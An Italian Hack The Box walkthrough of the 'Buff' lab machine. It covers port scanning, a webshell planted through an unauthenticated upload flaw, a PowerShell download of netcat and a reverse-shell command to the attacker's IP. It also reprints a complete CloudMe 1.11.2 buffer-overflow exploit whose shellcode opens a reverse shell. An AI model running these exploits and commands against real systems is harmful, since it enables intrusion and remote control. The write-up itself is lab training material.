Hack The Box

Buff

La scansione nmap mostra 2 servizi esposti:

# Nmap 7.80 scan initiated Fri Aug 28 09:44:58 2020 as: nmap -sC -sV -Pn -p8080,7680 -oA full-ports 10.10.10.198
Nmap scan report for 10.10.10.198
Host is up (0.042s latency).

PORT     STATE SERVICE    VERSION
7680/tcp open  pando-pub?
8080/tcp open  http       Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-title: mrb3n's Bro Hut

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Aug 28 09:46:02 2020 -- 1 IP address (1 host up) scanned in 64.03 seconds

User Flag

Sulla porta 8080 gira un sito web che sponsorizza i servizi di una palestra:

Dopo un po’ di enumerazione base che non ha portato a nulla ho deciso di googlare il footer dell’applicazione: projectworlds.in exploit

Lo script sfrutta la possibilità di uploadare file anche se non si è autenticati, quindi carica una semplice webshell in php raggiungibile all’indirizzo http://10.10.10.198:8080/upload/kamehameha.php?telepathy=cmd

Con la webshell ho potuto caricare sulla macchina netcat per prendere una reverse shell un po’ più comoda da utilizzare:

powershell.exe Invoke-WebRequest "http://10.10.14.192:4445/nc.exe" -OutFile "nc.exe"

Dopo aver avviato netcat come listener ho preso la reverse shell:

C:\xampp\htdocs\gym\upload\nc.exe -nv 10.10.14.192 4445 -e powershell.exe

Root Flag

Dopo un po’ di ricerche all’interno della box, un file contenuto nella cartella Downloads ha attirato la mia attenzione, ho notato che era attivo anche come processo:

Una veloce ricerca su google mi porta ad un exploit python https://www.exploit-db.com/exploits/48389

Di seguito l’exploit modificato per ottenere una reverse anziché lanciare calc.exe:

# Exploit Title: CloudMe 1.11.2 - Buffer Overflow (PoC)
# Date: 2020-04-27
# Exploit Author: Andy Bowden
# Vendor Homepage: https://www.cloudme.com/en
# Software Link: https://www.cloudme.com/downloads/CloudMe_1112.exe
# Version: CloudMe 1.11.2
# Tested on: Windows 10 x86

#Instructions:
# Start the CloudMe service and run the script.

import socket

target = "127.0.0.1"

padding1   = b"\x90" * 1052
EIP        = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP, RET
NOPS       = b"\x90" * 30

# msfvenom -p windows/exec CMD='c:\xampp\htdocs\gym\upload\nc.exe -nv 10.10.14.192 4444 -e powershell.exe' -b '\x00\x0a\x0d' -f py -v payload

payload =  b""
payload += b"\xba\xb8\x44\x99\x96\xdb\xd3\xd9\x74\x24\xf4\x5b"
payload += b"\x33\xc9\xb1\x3e\x83\xeb\xfc\x31\x53\x11\x03\x53"
payload += b"\x11\xe2\x4d\xb8\x71\x14\xad\x41\x82\x79\x24\xa4"
payload += b"\xb3\xb9\x52\xac\xe4\x09\x11\xe0\x08\xe1\x77\x11"
payload += b"\x9a\x87\x5f\x16\x2b\x2d\xb9\x19\xac\x1e\xf9\x38"
payload += b"\x2e\x5d\x2d\x9b\x0f\xae\x20\xda\x48\xd3\xc8\x8e"
payload += b"\x01\x9f\x7e\x3f\x25\xd5\x42\xb4\x75\xfb\xc2\x29"
payload += b"\xcd\xfa\xe3\xff\x45\xa5\x23\x01\x89\xdd\x6a\x19"
payload += b"\xce\xd8\x25\x92\x24\x96\xb4\x72\x75\x57\x1a\xbb"
payload += b"\xb9\xaa\x63\xfb\x7e\x55\x16\xf5\x7c\xe8\x20\xc2"
payload += b"\xff\x36\xa5\xd1\x58\xbc\x1d\x3e\x58\x11\xfb\xb5"
payload += b"\x56\xde\x88\x92\x7a\xe1\x5d\xa9\x87\x6a\x60\x7e"
payload += b"\x0e\x28\x46\x5a\x4a\xea\xe7\xfb\x36\x5d\x18\x1b"
payload += b"\x99\x02\xbc\x57\x34\x56\xcd\x35\x53\xa9\x40\x40"
payload += b"\x11\xa9\x5a\x4b\x06\xc2\x6b\xc0\xc9\x95\x74\x03"
payload += b"\xae\x6a\x3f\x0e\x87\xe2\x99\xda\x95\x6e\x1a\x31"
payload += b"\xd9\x96\x98\xb0\xa2\x6c\x80\xb0\xa7\x29\x07\x28"
payload += b"\xda\x22\xed\x4e\x49\x42\x24\x2d\x57\xe0\xbe\xd3"
payload += b"\xca\x68\x4e\x48\x7d\xfd\xca\x1f\x1e\x8e\x4e\x87"
payload += b"\x99\x1d\x32\x32\x2a\xb2\xa5\xdd\xae\x16\x57\x7d"
payload += b"\x01\xc2\xdf\xe4\x7d\x21\x7a\xc7\x1e\x54\xe0\x29"
payload += b"\x84\xde\x8d\x15\x77\x2f\x63\x67\x47\x61\x4a\xb3"
payload += b"\x89\x4c\x95\x89\xf5\x9a\xd1\xd9\xc1\xe2"
overrun    = b"C" * (1500 - len(padding1 + NOPS + EIP + payload))	

buf = padding1 + EIP + NOPS + payload + overrun 

try:
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((target,8888))
	s.send(buf)
except Exception as e:
	print(sys.exc_value)

Dal momento che python non è installato sulla box, genero un file .exe con l’ausilio di pyinstaller:

pyinstaller --onefile 48389.py

Rinomino il file generato in exploit.exe e lo carico sulla box.

A questo punto lancio semplicemente l’exploit e prendo la flag di root:

Attenzione perché se qualcuno ha già usato l’exploit senza riavviare la box, ci sono buone probabilità che non funzioni.

Nota: se avete python3.8, pyinstaller3.5 e avete problemi di compilazione del file eseguibile, disinstallate pyinstaller e installate la seguente versione:

pip3 install https://github.com/pyinstaller/pyinstaller/archive/develop.tar.gz